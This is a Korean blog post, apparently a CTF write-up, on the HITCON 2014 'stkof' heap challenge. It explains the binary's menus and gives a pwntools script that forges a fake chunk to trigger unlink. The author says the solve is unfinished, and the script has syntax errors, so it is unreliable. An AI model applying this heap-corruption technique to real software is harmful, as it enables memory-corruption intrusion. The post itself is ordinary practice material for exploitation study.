ABOUT ME

Today
Yesterday
Total
  • HITCON 2014 stkof
    CTF 2016. 11. 26. 23:39

    fake chunk를 만들어주는 문제, 일단 unlink는 호출했고, 이게 fastbins 에서 익스하는 문제란다. 


    malloc pointer를 fd와 bk에 넣어줘도 제대로 안되는거때문에 나중에 풀어야겠다


    1번메뉴는 아래와 같다.



    fgets로  malloc size 를 입력하고 할당해준다.


    malloc pointer는 s 변수에 담긴다. s는 주소를 아는 변수이다.



    2번메뉴는 다음과같다.



    할당된곳에 fread로 입력을 받는다. 데이터를 채울 수 있는 부분이다. 여기서 fake chunk를 만들어 줄 수 있다.


    3번 메뉴는 다음과같다.




    만들어진 chunk를 free해주고 malloc_ptr을 초기화해주는 역할을 한다.



    이 3개의 메뉴로 unlink를 호출하게끔 만들면된다. 


    다음 익스를 보면 이해가 빠르다.


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    from pwn import *
     
    = remote("10.211.55.3",9905)
     
    def malloc(size):
        p.sendline("1")
        p.sendline(str(size))
        print p.recvuntil("OK")
     
    def write(idx,size,data):
        p.sendline("2")
        p.sendline(str(idx))
        p.sendline(str(size))
        p.sendline(data)
        print p.recvuntil("OK")
     
    def free(idx):
        p.sendline("3")
        p.sendline(str(idx))
        print p.recvuntil("OK")
     
    def idx_list(idx):
        p.sendline("4")
        p.sendline(str(idx))
        print p.recv(1024)
        print p.recv(1024)
     
     
     
    raw_input()
     
     
     
    malloc_ptr = 0x602100
     
    malloc(0x80)
    malloc(0x80
    malloc(0x80)
    malloc(0x80)
    malloc(0x80)
     
    free(2)
     
     
    #chunk 1
    payload = "A"*0x80
     
    #chunk 2
    payload += p64(0x0)
    payload += p64(0x91)
    payload += "B"*0x80
     
    #chunk 3
    payload += p64(0x90)
    payload += p64(0x91)
    payload += p64(malloc_ptr-24)
    payload += p64(malloc_ptr-16)
    payload += "C"*0x70
     
    #chunk 4
    payload += p64(0x90)
    payload += p64(0x90)
    payload += "D"*0x80
     
    #chunk 5
    payload += p64(0x90)
    payload += p64(0x91)
     
     
     
    write(1,len(payload),payload)
    free(4)
     
    p.interactive()
    cs



    chunk 4의 prev inuse 를 0으로 셋팅하고 마지막에 free(4)를 통해 unlink가 호출되게끔 했다.

    'CTF' 카테고리의 다른 글

    Plaid CTF 2014 ezhp  (1) 2016.11.28
    [Belluminar 2016] remuheap  (2) 2016.11.27
    HITCON 2016 secret_holder  (0) 2016.11.23
    [HSOC] Find Me!! (Reversing 400pt)  (0) 2016.11.06
    [HSOC] ConsoleRPG  (0) 2016.11.06

    댓글

Designed by Tistory.